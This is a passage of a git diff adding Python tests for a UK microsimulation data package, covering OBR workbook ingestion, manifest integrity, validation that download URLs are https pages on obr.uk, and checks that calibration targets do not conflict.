test_a_row_stating_its_own_unit_is_refused(): + """Sol review of #592, P1: "£ billion unless otherwise stated" tables.""" + expenditure = load_workbook("expenditure") + ws = expenditure["4.19"] + row = obr._find_row(ws, "Standard colour licence fee (£)", max_row=30) + with pytest.raises(SourceError, match="states its own unit"): + read_row(ws, row, MANIFEST) + # A renamed receipts row no longer falls through to the fee row. + ws[f"B{obr._find_row(ws, 'BBC licence fee receipts', max_row=30)}"] = ( + "BBC television licensing receipts" + ) + receipts = load_workbook("receipts") + problems = coverage_problems(_workbook_targets(receipts, expenditure), MANIFEST) + assert problems == ["obr/tv_licence_fee was not built"] + + +def test_ingest_never_replaces_an_ingested_vintage(tmp_path): + """Sol review of #592, P2: a retry cannot delete an adopted vintage.""" + _ingest(tmp_path) + kept = ( + tmp_path / "storage" / "obr_efo" / "march_2026" / "receipts.xlsx" + ).read_bytes() + with pytest.raises(SourceError, match="already ingested"): + _ingest(tmp_path, first_year=2025, last_year=2031) + assert ( + tmp_path / "storage" / "obr_efo" / "march_2026" / "receipts.xlsx" + ).read_bytes() == kept + assert (tmp_path / "manifests" / "obr_march_2026.yaml").exists() + + +def test_ingest_checks_both_workbooks_before_copying_either(tmp_path): + sources = _sources(tmp_path) + sources["expenditure"].write_bytes(b"not a workbook") + with pytest.raises(SourceError, match="not an xlsx workbook"): + _ingest(tmp_path, sources=sources) + assert not (tmp_path / "storage").exists() + + +def test_a_workbook_target_without_the_vintage_fails_coverage(march_targets): + """Sol review of #592, P2: an unversioned target cannot skip the checks.""" + extra = march_targets[0].model_copy( + update={ + "name": "obr/unversioned", + "forecast_vintage": None, + "values": {2024: 1.0}, + } + ) + problems = coverage_problems(list(march_targets) + [extra], MANIFEST) + assert "obr/unversioned carries vintage None, not 'march_2026'" in problems + assert "obr/unversioned was built but is not in the manifest" in problems + + +def test_ingest_records_each_download_time(tmp_path): + """A browser download is hash-bound and timed: the file's modification + time by default, or the time given.""" + import os + + sources = _sources(tmp_path) + from datetime import datetime, timezone + + when = datetime(2026, 10, 18, 12, tzinfo=timezone.utc).timestamp() + for path in sources.values(): + os.utime(path, (when, when)) + manifest, path, _, _ = _ingest(tmp_path, sources=sources) + assert { + (f.downloaded_at, f.downloaded_at_basis) for f in manifest.files.values() + } == {("2026-10-18T12:00:00+00:00", "mtime")} + text = path.read_text() + assert "downloaded_at: '2026-10-18T12:00:00+00:00'" in text + assert text.count("downloaded_at_basis: mtime") == 2 + (tmp_path / "again").mkdir() + manifest, path, _, _ = _ingest( + tmp_path / "again", + downloaded_at={ + "receipts": "2026-10-28T13:05:00+00:00", + "expenditure": "2026-10-28T13:06:00+00:00", + }, + ) + assert manifest.files["receipts"].downloaded_at == "2026-10-28T13:05:00+00:00" + assert {f.downloaded_at_basis for f in manifest.files.values()} == {"given"} + assert path.read_text().count("downloaded_at_basis: given") == 2 + with pytest.raises(SourceError, match="UTC offset"): + _ingest( + tmp_path / "again", + vintage="march_2026", + downloaded_at={ + "receipts": "2026-10-28T13:05:00", + "expenditure": "2026-10-28T13:06:00+00:00", + }, + dry_run=True, + ) + + +def test_a_dry_run_checks_everything_and_writes_nothing(tmp_path): + manifest, path, diff, refusals = _ingest(tmp_path, dry_run=True) + assert manifest.vintage == "march_2026" + assert refusals == [] + assert diff and all(row["old"] == row["new"] for row in diff) + assert not path.exists() + assert not (tmp_path / "storage" / "obr_efo").exists() + # A dry run still refuses workbooks that do not carry the vintage. + with pytest.raises(SourceError, match="not the October 2026 EFO receipts"): + _ingest(tmp_path, vintage="october_2026", label="October 2026", dry_run=True) + + +@pytest.fixture +def committed(tmp_path, monkeypatch): + """The active manifest and its workbooks, copied under tmp_path and made + the active ones, so nothing a test runs can touch the committed files.""" + storage = _copy_storage(tmp_path / "storage") + manifests = tmp_path / "manifests" + manifests.mkdir() + shutil.copyfile(MANIFEST.path, manifests / MANIFEST.path.name) + active = obr_sources.load_manifest(manifests / MANIFEST.path.name) + monkeypatch.setattr(obr_sources, "MANIFEST_DIR", manifests) + monkeypatch.setattr(obr_sources, "_storage", lambda: storage) + monkeypatch.setattr(obr_sources, "active_manifest", lambda: active) + return active + + +def _rehearse(tmp_path, *urls): + """The Budget-day dry run on copies of the committed March 2026 workbooks.""" + sources = _sources(tmp_path) + return obr_sources.main( + [ + "ingest", + "--vintage", + "march_2026", + "--label", + "March 2026", + "--receipts", + str(sources["receipts"]), + "--expenditure", + str(sources["expenditure"]), + *urls, + "--first-year", + "2024", + "--last-year", + "2030", + "--dry-run", + ] + ) + + +def test_the_rehearsal_command_runs_on_the_committed_march_workbooks( + tmp_path, committed, capsys +): + """The Budget-day command, end to end, on downloads of the active vintage. + + The committed manifest names these very bytes, so it is a rehearsal, not + an ingested vintage the real ingest would refuse. + """ + urls = MANIFEST.files["receipts"].url, MANIFEST.files["expenditure"].url + code = _rehearse(tmp_path, "--receipts-url", urls[0], "--expenditure-url", urls[1]) + out = capsys.readouterr().out + assert code == 0 + assert out.count("the same bytes as the committed March 2026 workbook") == 2 + assert out.count("(basis: mtime)") == 2 + assert "already names these bytes: a rehearsal, nothing to write" in out + assert "would refuse" not in out and "would write" not in out + + +def test_a_dry_run_the_real_ingest_would_refuse_exits_non_zero( + tmp_path, committed, capsys +): + """Sol delta review of #592: a rehearsal without the download pages fails.""" + code = _rehearse(tmp_path) + out = capsys.readouterr().out + assert code == 1 + assert ( + "would refuse: give the obr.uk https page each workbook was downloaded " + "from (--receipts-url, --expenditure-url); every target cites it" + ) in out + assert out.count("the same bytes as the committed March 2026 workbook") == 2 + assert "would write" not in out and "nothing to write" not in out + + +# Sol re-review of #592: P3 hardening. + + +@pytest.mark.parametrize( + "label", + [ + "BBC licence fee receipts (£ millions)", + "BBC licence fee receipts (£ bn)", + "BBC licence fee receipts (£ m)", + "BBC licence fee receipts (£ thousand)", + "BBC licence fee receipts (£000)", + "BBC licence fee receipts (000s)", + "BBC licence fee receipts (£m, cash)", + "BBC licence fee receipts (millions)", + "BBC licence fee receipts (bn)", + "BBC licence fee receipts, £ million", + "BBC licence fee receipts, million", + "BBC licence fee receipts (per cent)", + "BBC licence fee receipts (% of GDP)", + "BBC licence fee receipts\u00a0(£\u00a0million)", + ], +) +def test_a_row_stating_its_own_unit_in_any_spelling_is_refused(label): + ws = load_workbook("expenditure")["4.19"] + row = obr._find_row(ws, "BBC licence fee receipts", max_row=30) + ws[f"B{row}"] = label + with pytest.raises(SourceError, match="states its own unit"): + read_row(ws, row, MANIFEST) + + +@pytest.mark.parametrize("heading", ["£ million", "Memo: £ million", "per cent", "£m"]) +def test_a_row_under_a_unit_sub_heading_is_refused(heading): + ws = load_workbook("expenditure")["4.19"] + row = obr._find_row(ws, "BBC licence fee receipts", max_row=30) + assert read_row(ws, row, MANIFEST) # the real row reads + ws[f"A{row - 1}"] = heading + with pytest.raises(SourceError, match="sub-heading"): + read_row(ws, row, MANIFEST) + + +@pytest.mark.parametrize( + "title", + [ + "October 2026 Economic and fiscal outlook \u2013 detailed forecast tables: receipts", + "Economic and fiscal outlook \u2013 October 2026: detailed forecast tables \u2013 receipts", + "October 2026 Economic and fiscal outlook - detailed forecast tables: receipts (revised)", + "October 2026 Economic and fiscal outlook \u2013 detailed forecast tables: receipts.", + "October\u00a02026 Economic and fiscal outlook \u2014 detailed forecast tables: Receipts", + ], +) +def test_plausible_title_formats_are_accepted(title): + check_names("october_2026", "October 2026", {"receipts": title}, "test") + + +@pytest.mark.parametrize( + "title", + [ + "March 2026 Economic and fiscal outlook \u2013 detailed forecast tables: receipts", + "October 2026 Economic and fiscal outlook (March 2026 tables): receipts", + "October 2026 Fiscal risks and sustainability \u2013 tables: receipts", + "October 2026 Economic and fiscal outlook \u2013 detailed forecast tables: expenditure", + "October 2026 Economic and fiscal outlook \u2013 receipts: supplementary tables", + "Economic and fiscal outlook \u2013 October 2026: supplementary fiscal tables \u2013 receipts", + ], +) +def test_a_title_for_another_vintage_report_or_kind_is_refused(title): + with pytest.raises(SourceError, match="not the October 2026 EFO receipts"): + check_names("october_2026", "October 2026", {"receipts": title}, "test") + + +def test_a_target_built_twice_fails_coverage(march_targets): + targets = [t for t in march_targets if t.forecast_vintage == MANIFEST.vintage] + problems = coverage_problems(targets + [targets[0]], MANIFEST) + assert problems == [f"{targets[0].name} was built more than once"] + + +def test_a_real_ingest_needs_the_download_pages(tmp_path): + with pytest.raises(SourceError, match="https page"): + _ingest(tmp_path, urls={"receipts": "", "expenditure": ""}) + assert not (tmp_path / "storage").exists() + # A dry run reports it instead. + refusals = _ingest(tmp_path, urls={}, dry_run=True).refusals + assert refusals == [ + ( + "give the obr.uk https page each workbook was downloaded from " + "(--receipts-url, --expenditure-url); every target cites it" + ) + ] + + +def test_an_interrupted_workbook_copy_is_named_on_retry(tmp_path, monkeypatch): + real = obr_sources.Path.write_bytes + + def fail_on_expenditure(self, data): + # The copy into storage, after staging and every check have passed. + if self.name == "expenditure.xlsx" and self.parent.name.endswith(".partial"): + raise OSError("disk full") + return real(self, data) + + monkeypatch.setattr(obr_sources.Path, "write_bytes", fail_on_expenditure) + with pytest.raises(OSError, match="disk full"): + _ingest(tmp_path) + monkeypatch.undo() + # Nothing is under the vintage's real name. + assert not (tmp_path / "storage" / "obr_efo" / "march_2026").exists() + assert not (tmp_path / "manifests" / "obr_march_2026.yaml").exists() + with pytest.raises(SourceError, match="stopped part way: .*march_2026.partial"): + _ingest(tmp_path) + + +def test_an_interrupted_manifest_write_is_named_on_retry(tmp_path, monkeypatch): + real = obr_sources.os.replace + + def fail_on_manifest(source, destination): + if str(destination).endswith(".yaml"): + raise OSError("interrupted") + return real(source, destination) + + monkeypatch.setattr(obr_sources.os, "replace", fail_on_manifest) + with pytest.raises(OSError, match="interrupted"): + _ingest(tmp_path) + monkeypatch.undo() + assert not (tmp_path / "manifests" / "obr_march_2026.yaml").exists() + with pytest.raises(SourceError, match="stopped part way") as refused: + _ingest(tmp_path) + message = str(refused.value) + assert "march_2026" in message and ".obr_march_2026.yaml.partial" in message + + +# Sol delta review of #592 at f1faff2f. + + +def test_a_dry_run_reports_what_the_real_ingest_would_refuse(tmp_path): + """Leftovers, a page off obr.uk and an ingested vintage, without writing.""" + partial = tmp_path / "storage" / "obr_efo" / ".march_2026.partial" + partial.mkdir(parents=True) + urls = {k: f.url for k, f in MANIFEST.files.items()} + urls["receipts"] = "https://example.com/receipts.xlsx" + _, path, diff, refusals = _ingest(tmp_path, urls=urls, dry_run=True) + assert len(refusals) == 2 + assert "stopped part way" in refusals[0] and ".march_2026.partial" in refusals[0] + assert ( + "https page each workbook was downloaded from (--receipts-url)" in (refusals[1]) + ) + # Everything else is still checked, and nothing is written. + assert diff and all(row["old"] == row["new"] for row in diff) + assert not path.exists() + assert [p.name for p in partial.parent.iterdir()] == [partial.name] + # The real ingest refuses exactly what the dry run reported. + with pytest.raises(SourceError) as refused: + _ingest(tmp_path, urls=urls) + assert str(refused.value) == "ingest: " + "; ".join(refusals) + # An ingested vintage that is not the active manifest is refused too. + partial.rmdir() + _ingest(tmp_path) + refusals = _ingest(tmp_path, dry_run=True).refusals + assert len(refusals) == 1 and "march_2026 is already ingested" in refusals[0] + + +def test_a_dry_run_of_the_active_vintage_is_a_rehearsal_only_on_its_own_bytes( + tmp_path, committed +): + """The active manifest names these bytes: a rehearsal, not a refusal.""" + active = {"current": committed, "dry_run": True} + _, path, _, refusals = _ingest(tmp_path, **active) + assert path == committed.path and refusals == [] + # Different bytes under the active vintage's name are refused, as a real + # ingest refuses any ingested vintage. + sources = _sources(tmp_path) + openpyxl.load_workbook(sources["receipts"]).save(sources["receipts"]) + assert obr_sources.sha256_bytes(sources["receipts"].read_bytes()) != ( + MANIFEST.files["receipts"].sha256 + ) + refusals = _ingest(tmp_path, sources=sources, **active).refusals + assert len(refusals) == 1 and "march_2026 is already ingested" in refusals[0] + + +@pytest.mark.parametrize( + "url, ok", + [ + (MANIFEST.files["receipts"].url, True), + ("https://www.obr.uk/download/receipts/", True), + ("https://OBR.UK/download/receipts/", True), + ("https://obr.uk:443/download/receipts/", True), + ("http://obr.uk/download/receipts/", False), + ("https://example.com/receipts.xlsx", False), + ("https://obr.uk.example.com/receipts/", False), + ("https://notobr.uk/receipts/", False), + ("https://example.com/obr.uk/receipts/", False), + ("https://example.com/?from=https://obr.uk/", False), + ("https://obr.uk@example.com/receipts/", False), + ("https://example.com\\.obr.uk/receipts/", False), + ("https://example.com\\@obr.uk/receipts/", False), + ("https://user:password@obr.uk/receipts/", False), + ("https://obr.uk:8443/receipts/", False), + ("https://obr.uk:notaport/receipts/", False), + ("https://-.obr.uk/receipts/", False), + ("obr.uk/download/receipts/", False), + ("https://[::1/receipts/", False), + ("", False), + ], +) +def test_a_download_page_must_be_https_on_obr_uk(url, ok): + assert obr_sources.is_obr_page(url) is ok + + +@settings(max_examples=200, deadline=None) +@given( + labels=st.lists( + st.from_regex(r"[a-z0-9](?:[a-z0-9-]{0,7}[a-z0-9])?", fullmatch=True), + max_size=3, + ), + suffix=st.sampled_from(["obr.uk", "uk", "xobr.uk", "obr.uk.example.com", "gov.uk"]), + scheme=st.sampled_from(["https", "http"]), +) +def test_only_https_pages_on_obr_uk_or_its_subdomains_are_accepted( + labels, suffix, scheme +): + host = ".".join([*labels, suffix]) + expected = scheme == "https" and (host == "obr.uk" or host.endswith(".obr.uk")) + assert obr_sources.is_obr_page(f"{scheme}://{host}/download/x/") is expected + + +def test_ingest_refuses_a_download_page_off_obr_uk(tmp_path): + urls = {k: f.url for k, f in MANIFEST.files.items()} + urls["expenditure"] = "https://example.com/expenditure.xlsx" + with pytest.raises(SourceError, match=r"https page .*\(--expenditure-url\)"): + _ingest(tmp_path, urls=urls) + assert not (tmp_path / "storage").exists() + + +@pytest.mark.parametrize( + "heading", + [ + "£ billion", + "£bn", + "£ billions", + "£ billion unless otherwise stated", + "Memo: £ billion", + ], +) +def test_a_sub_heading_restating_the_tables_own_unit_is_not_refused(heading): + assert set(obr_sources._TABLE_UNIT_SPELLINGS) == set(obr_sources.UNIT_SCALES) + ws = load_workbook("expenditure")["4.19"] + row = obr._find_row(ws, "BBC licence fee receipts", max_row=30) + values = read_row(ws, row, MANIFEST) + ws[f"A{row - 1}"] = heading + assert read_row(ws, row, MANIFEST) == values + # The same cell giving another unit is refused, so the heading is read. + ws[f"A{row - 1}"] = heading.replace("billion", "million").replace("bn", "m") + with pytest.raises(SourceError, match="sub-heading"): + read_row(ws, row, MANIFEST) + + +_TIMES = st.datetimes( + min_value=datetime(2000, 1, 1), + max_value=datetime(2100, 1, 1), + timezones=st.sampled_from( + [timezone.utc, timezone(timedelta(hours=1)), timezone(-timedelta(hours=9.5))] + ), +) + + +@settings(max_examples=50, deadline=None) +@given(basis=st.sampled_from(["mtime", "given", "unrecorded"]), when=_TIMES) +def test_a_manifest_reads_back_as_written(basis, when): + """Each download time and its basis survive the manifest YAML.""" + files = { + kind: replace( + f, + downloaded_at=None if basis == "unrecorded" else when.isoformat(), + downloaded_at_basis=basis, + ) + for kind, f in MANIFEST.files.items() + } + manifest = obr_sources.ObrManifest(**{**MANIFEST.__dict__, "files": files}) + alternatives = [[sorted(g) for g in groups] for groups in MANIFEST.alternatives] + back = parse_manifest( + yaml.safe_load(obr_sources._manifest_yaml(manifest, alternatives)) + ) + assert back.files == files + assert (back.required, back.alternatives) == ( + MANIFEST.required, + MANIFEST.alternatives, + ) + + +def test_a_dry_run_returns_the_manifest_a_real_ingest_writes(tmp_path): + sources = _sources(tmp_path) + dry = _ingest(tmp_path / "dry", sources=sources, dry_run=True) + real = _ingest(tmp_path / "real", sources=sources) + assert dry.manifest.files == real.manifest.files + assert {f.downloaded_at_basis for f in real.manifest.files.values()} == {"mtime"} + + +def test_the_march_download_times_are_unrecorded(): + """The committed workbooks came from git (11e41f9d), with no download time.""" + assert { + (f.downloaded_at, f.downloaded_at_basis) for f in MANIFEST.files.values() + } == {(None, "unrecorded")} + + +@pytest.mark.parametrize( + "fields, match", + [ + ({"downloaded_at": "2026-10-28T13:05:00+00:00"}, "with a downloaded_at"), + ( + { + "downloaded_at": "2026-10-28T13:05:00+00:00", + "downloaded_at_basis": "unrecorded", + }, + "must be mtime or given", + ), + ({"downloaded_at_basis": "mtime"}, "with no downloaded_at it must be"), + ({"downloaded_at_basis": None}, "must be unrecorded"), + ( + { + "downloaded_at": "2026-10-28T13:05:00+00:00", + "downloaded_at_basis": "guessed", + }, + "'guessed'", + ), + ], +) +def test_a_download_time_without_a_matching_basis_is_refused(fields, match): + raw = yaml.safe_load(MANIFEST.path.read_text()) + entry = raw["files"]["receipts"] + entry.pop("downloaded_at_basis") + entry.update(fields) + with pytest.raises(SourceError, match=match): + parse_manifest(raw) diff --git a/policyengine_uk_data/tests/test_obr_target_conflicts.py b/policyengine_uk_data/tests/test_obr_target_conflicts.py new file mode 100644 index 000000000..0d3063bda --- /dev/null +++ b/policyengine_uk_data/tests/test_obr_target_conflicts.py @@ -0,0 +1,232 @@ +"""Calibration targets that share a matrix column must agree. + +A target whose column is a plain sum (or recipient count) of one variable +shares that column with every other such target on the same variable. Two of +them with different values for one year contradict each other: no weights +meet both, so the optimiser splits the difference and distorts everything +else. obr/ni (total NICs, £200bn in 2025-26) and obr/ni_employee (£50bn) did +exactly that on ni_employee. + +The column a target gets is decided by ``build_loss_matrix._compute_column``, +so these tests ask that dispatcher rather than restating its rules: every +custom compute function is swapped for a sentinel, so only targets that reach +the plain-variable fallbacks get a column key. +""" + +import math +from itertools import combinations +from unittest.mock import patch + +import pytest +import requests +from hypothesis import HealthCheck, given, settings +from hypothesis import strategies as st + +from policyengine_uk_data.targets import build_loss_matrix as blm +from policyengine_uk_data.targets.schema import Target, Unit +from policyengine_uk_data.targets.sources import obr + +# Targets allowed to share a plain-variable column with different values: the +# frozenset of their names, mapped to the reason. None are intended today. +INTENDED_SHARED_COLUMNS: dict[frozenset[str], str] = {} + + +@pytest.fixture +def column_of(monkeypatch): + """Map a target to ("sum" | "count", variable, countries), or None.""" + for name in dir(blm): + if name.startswith("compute_"): + monkeypatch.setattr(blm, name, lambda *args, **kwargs: None) + monkeypatch.setattr(blm, "_compute_simple_gbp", lambda t, ctx: ("sum", t.variable)) + monkeypatch.setattr( + blm, "_compute_simple_count", lambda t, ctx: ("count", t.variable) + ) + + def column(target): + if target.custom_compute is not None: + return None + key = blm._compute_column(target, None, None) + if key is None: + return None + # create_target_matrix zeroes a column outside the target's countries + # (np.isin, so their order does not matter), so targets restricted to + # different countries get different columns. + countries = target.countries + return key + (frozenset(countries) if countries is not None else None,) + + return column + + +def conflicts(targets, column) -> set[tuple]: + """(column, year, names) for every shared column whose values disagree.""" + groups: dict[tuple, list[Target]] = {} + for target in targets: + if (key := column(target)) is not None: + groups.setdefault(key, []).append(target) + found = set() + for key, group in groups.items(): + for year in {y for t in group for y in t.values}: + values = { + t.name: v + for t in group + if (v := blm._resolve_value(t, year)) is not None + } + if any( + not math.isclose(a, b, rel_tol=1e-9) + for a, b in combinations(values.values(), 2) + ): + names = frozenset(values) + if names not in INTENDED_SHARED_COLUMNS: + found.add((key, year, names)) + return found + + +@pytest.fixture(scope="module") +def obr_targets(): + def get(*args, **kwargs): + raise requests.ConnectionError("offline") + + # The manifest loader reads verified committed bytes without downloading. + with patch.object(requests, "get", side_effect=get): + targets = obr.get_targets() + return targets + + +def test_obr_targets_agree_on_shared_columns(obr_targets, column_of): + assert conflicts(obr_targets, column_of) == set() + + +def test_total_nics_on_ni_employee_is_flagged(obr_targets, column_of): + """The check fails on the mapping this PR removed.""" + total_nics = Target( + name="obr/ni", + variable="ni_employee", + source="obr", + unit=Unit.GBP, + values={2025: 200.08e9}, + ) + found = conflicts(obr_targets + [total_nics], column_of) + assert {(key, names) for key, _, names in found} == { + (("sum", "ni_employee", None), frozenset({"obr/ni", "obr/ni_employee"})) + } + assert 2025 in {year for _, year, _ in found} + + +def test_calibration_targets_agree_on_shared_columns(column_of): + """Every national, regional and country target the national matrix uses.""" + targets = blm.calibration_targets() + # Guard against passing on a registry whose sources failed silently. + assert {"obr/ni_employee", "obr/ni_employer", "obr/vat"} <= { + t.name for t in targets + } + assert conflicts(targets, column_of) == set() + + +def _brute_force(targets, column) -> set[tuple]: + """Reference: compare every pair of targets directly, in every year listed + by any target on their column (a carried-forward pair can disagree in a + year only a third target lists).""" + years_by_column: dict[tuple, set[int]] = {} + for t in targets: + if (key := column(t)) is not None: + years_by_column.setdefault(key, set()).update(t.values) + found = set() + for i, a in enumerate(targets): + for b in targets[i + 1 :]: + if column(a) is None or column(a) != column(b): + continue + for year in years_by_column[column(a)]: + va, vb = blm._resolve_value(a, year), blm._resolve_value(b, year) + if None not in (va, vb) and not math.isclose(va, vb, rel_tol=1e-9): + found.add((column(a), year)) + return found + + +@st.composite +def synthetic_targets(draw) -> list[Target]: + targets = [] + for i in range(draw(st.integers(0, 8))): + is_count = draw(st.booleans()) + years = draw( + st.lists(st.integers(2020, 2026), min_size=1, max_size=3, unique=True) + ) + targets.append( + Target( + name=f"synthetic/{i}", + variable=draw(st.sampled_from(["a", "b", "c"])), + source="synthetic", + unit=Unit.COUNT if is_count else Unit.GBP, + is_count=is_count, + countries=draw( + st.sampled_from( + [ + None, + ("ENGLAND",), + ("WALES",), + ("ENGLAND", "WALES"), + ("WALES", "ENGLAND"), + ] + ) + ), + carry_forward=draw(st.booleans()), + values={y: draw(st.sampled_from([1.0, 2.0])) for y in years}, + custom_compute=(lambda *a: None) + if draw(st.integers(0, 4)) == 0 + else None, + ) + ) + return targets + + +@settings( + max_examples=300, + deadline=None, + suppress_health_check=[HealthCheck.function_scoped_fixture], +) +@given(targets=synthetic_targets()) +def test_conflict_check_matches_pairwise_definition(column_of, targets): + """The grouped check flags exactly the (column, year) pairs a pairwise + comparison does. Covers custom columns, counts against sums, country + restrictions in either order, ``carry_forward=False`` and the + nearest-earlier-year fallback. The VOA population uprating in + ``_resolve_value`` is not drawn: it looks population totals up.""" + grouped = {(key, year) for key, year, _ in conflicts(targets, column_of)} + assert grouped == _brute_force(targets, column_of) + + +def test_conflict_check_compares_every_pair(column_of): + """isclose is not transitive: with the middle value first, comparing each + value to the first passes, but the outer pair is more than 1e-9 apart.""" + targets = [ + Target( + name=f"synthetic/{i}", + variable="a", + source="synthetic", + unit=Unit.GBP, + values={2025: value}, + ) + for i, value in enumerate([1 + 0.9e-9, 1.0, 1 + 1.8e-9]) + ] + assert {year for _, year, _ in conflicts(targets, column_of)} == {2025} + + +def test_carried_values_are_compared_in_every_listed_year(column_of): + """a and b disagree in 2024 and, carried forward, in 2025, a year only c + lists; both checks must report both years (Sol review r2).""" + targets = [ + Target( + name=name, + variable="a", + source="synthetic", + unit=Unit.GBP, + values=values, + ) + for name, values in [ + ("synthetic/a", {2024: 1.0}), + ("synthetic/b", {2024: 1 + 1.8e-9}), + ("synthetic/c", {2025: 1 + 0.9e-9}), + ] + ] + expected = {(("sum", "a", None), 2024), (("sum", "a", None), 2025)} + assert {(k, y) for k, y, _ in conflicts(targets, column_of)} == expected + assert _brute_force(targets, column_of) == expected diff --git a/policyengine_uk_data/tests/test_obr_target_mapping.py b/policyengine_uk_data/tests/test_obr_target_mapping.py new file mode 100644 index 000000000..3e8d3cd6d --- /dev/null +++ b/policyengine_uk_data/tests/test_obr_target_mapping.py @@ -0,0 +1,95 @@ +"""Pin which PE-UK variable each OBR receipts target calibrates. + +The cash-receipts parser once targeted total NICs ("National insurance +contributions", Table 3.8) on ``ni_employee``, the variable the NICs parser +targets at Class 1 employee NICs alone. These tests read the committed EFO +workbooks offline and pin the receipts targets' variables, the rows the NIC +targets come from, and why total NICs has no target of its own. +""" + +from unittest.mock import patch + +import pytest +import requests + +from policyengine_uk_data.targets.obr_sources import load_workbook +from policyengine_uk_data.targets.sources import obr + +# Every target parsed from the receipts workbook. Expenditure-side and static +# OBR targets are left to their own tests. +EXPECTED_VARIABLES = { + "obr/income_tax": "income_tax", + "obr/vat": "vat", + "obr/fuel_duties": "fuel_duty", + "obr/capital_gains_tax": "capital_gains_tax", + "obr/sdlt": "stamp_duty_land_tax", + "obr/ni_employee": "ni_employee", + "obr/ni_employer": "ni_employer", + "obr/ni_self_employed": "ni_self_employed", +} + +# Table 3.4 rows under "National insurance contributions" in the committed +# workbook: the class targets, then the rows the model leaves empty. +CLASS_ROWS = { + "obr/ni_employee": "Class 1 Employee NICs", + "obr/ni_employer": "Class 1 Employer NICs", + "obr/ni_self_employed": "Class 4 and Class 2 Self employed NICs", +} +UNMODELLED_ROWS = ("Statutory payment recoveries", "Other NIC") + + +@pytest.fixture(scope="module") +def offline_targets(): + def get(*args, **kwargs): + raise requests.ConnectionError("offline") + + # The manifest loader reads verified committed bytes without downloading. + with patch.object(requests, "get", side_effect=get): + targets = obr.get_targets() + return {t.name: t for t in targets} + + +@pytest.fixture(scope="module") +def receipts(): + return load_workbook("receipts") + + +def _row_2025(ws, label: str, column: str) -> float: + """Value for 2025-26 (in £) of the row whose label starts with ``label``.""" + return ws[f"{column}{obr._find_row(ws, label)}"].value * 1e9 + + +def test_receipts_target_variables_are_pinned(): + wb = load_workbook("receipts") + targets = obr._parse_receipts(wb) + obr._parse_nics(wb) + assert {t.name: t.variable for t in targets} == EXPECTED_VARIABLES + + +def test_total_nics_row_exists_but_has_no_target(offline_targets, receipts): + """The absence comes from the mapping, not from a missing row.""" + cash = obr._find_receipts_sheet(receipts) + total = _row_2025(cash, "National insurance contributions", "E") + assert total > 150e9 + assert "obr/ni" not in offline_targets + assert all(t.values.get(2025) != total for t in offline_targets.values()) + + +@pytest.mark.parametrize("name,label", CLASS_ROWS.items()) +def test_nic_class_targets_read_table_3_4(offline_targets, receipts, name, label): + expected = _row_2025(receipts["3.4"], label, "D") + assert offline_targets[name].values[2025] == pytest.approx(expected) + + +def test_class_targets_and_unmodelled_rows_make_up_total_nics(receipts): + """Why total NICs is not targeted on total_national_insurance. + + The class targets plus rows the model leaves empty (statutory payment + recoveries; Class 1A, 1B and 3 in "Other NIC") sum to the Table 3.4 total, + so a total target would demand NICs no household carries. + """ + ws = receipts["3.4"] + total = _row_2025(ws, "National insurance contributions", "D") + classes = sum(_row_2025(ws, label, "D") for label in CLASS_ROWS.values()) + unmodelled = sum(_row_2025(ws, label, "D") for label in UNMODELLED_ROWS) + assert unmodelled > 0 + assert classes + unmodelled == pytest.approx(total, abs=0.02e9) diff --git a/policyengine_uk_data/tests/test_obr_universal_credit_target.py b/policyengine_uk_data/tests/test_obr_universal_credit_target.py index 8fcdb51e0..aab0cab37 100644 --- a/policyengine_uk_data/tests/test_obr_universal_credit_target.py +++ b/policyengine_uk_data/tests/test_obr_universal_credit_target.py @@ -23,7 +23,7 @@ _compute_column, restrict_to_countries, ) -from policyengine_uk_data.targets.schema import GREAT_BRITAIN, GeographicLevel +from policyengine_uk_data.targets.schema import GREAT_BRITAIN from policyengine_uk_data.targets.sources import obr COUNTRIES = ("ENGLAND", "SCOTLAND", "WALES", "NORTHERN_IRELAND") @@ -75,6 +75,9 @@ def _table(rows: list[tuple]) -> openpyxl.Workbook: wb = openpyxl.Workbook() ws = wb.active ws.title = "4.9" + ws["C3"] = "£ billion" + for column, year in YEAR_COLUMNS.items(): + ws[f"{column}5"] = f"{year}-{(year + 1) % 100:02d}" for i, (label, value) in enumerate(rows, start=6): ws[f"B{i}"] = label if value is not None: @@ -180,13 +183,7 @@ def map_result(self, values, source, target_entity): ) monkeypatch.setattr(policyengine_uk, "Microsimulation", FakeMicrosimulation) - monkeypatch.setattr( - build_loss_matrix, - "get_all_targets", - lambda geographic_level=None: ( - [target] if geographic_level == GeographicLevel.NATIONAL else [] - ), - ) + monkeypatch.setattr(build_loss_matrix, "emitted_targets", lambda: [target]) matrix, values = build_loss_matrix.create_target_matrix( SimpleNamespace(time_period="2025"), time_period="2025" diff --git a/policyengine_uk_data/tests/test_ons_demographics_targets.py b/policyengine_uk_data/tests/test_ons_demographics_targets.py index 433bf3e25..1df25ff45 100644 --- a/policyengine_uk_data/tests/test_ons_demographics_targets.py +++ b/policyengine_uk_data/tests/test_ons_demographics_targets.py @@ -1,9 +1,21 @@ +from pathlib import Path +from types import SimpleNamespace + +import numpy as np import pandas as pd import pytest +from hypothesis import given +from hypothesis import strategies as st +from policyengine_uk_data.targets.build_loss_matrix import _compute_column +from policyengine_uk_data.targets.schema import Target, Unit from policyengine_uk_data.targets.sources.ons_demographics import ( + _AGE_BANDS, + _GENDER_BANDS, _aggregate_ages, _find_projection_member, + _parse_regional_from_csv, + _parse_uk_totals, ) @@ -22,3 +34,124 @@ def test_aggregate_ages_accepts_string_age_values(): def test_find_projection_member_fails_loudly(): with pytest.raises(RuntimeError, match="uk_ppp_machine_readable"): _find_projection_member(["uk/readme.txt"]) + + +@pytest.mark.parametrize("bands", [_AGE_BANDS, _GENDER_BANDS]) +@given(age=st.integers(min_value=0, max_value=80)) +def test_age_bands_partition_frs_ages_and_respect_top_code(bands, age): + assert bands[-1] == (80, None) + for low, high in bands: + assert low <= 80, "No target may start above the FRS top code" + assert high is None or high < 80, "80+ must be open-ended" + assert sum(low <= age and (high is None or age <= high) for low, high in bands) == 1 + + +@pytest.mark.parametrize("sex,multiplier", [("female", 1), ("male", 10)]) +def test_80_plus_target_sums_every_projection_age(sex, multiplier): + projection = pd.DataFrame( + [ + {"Sex": label, "Age": str(age), 2025: (age + 1) * factor} + for label, factor in [("Females", 1), ("Males", 10)] + for age in range(101) + ] + ) + targets = {target.name: target for target in _parse_uk_totals(projection)} + + assert targets[f"ons/{sex}_80_plus"].values[2025] == sum( + (age + 1) * multiplier for age in range(80, 101) + ) + + +@pytest.mark.parametrize("sex,label", [("female", "Females"), ("male", "Males")]) +def 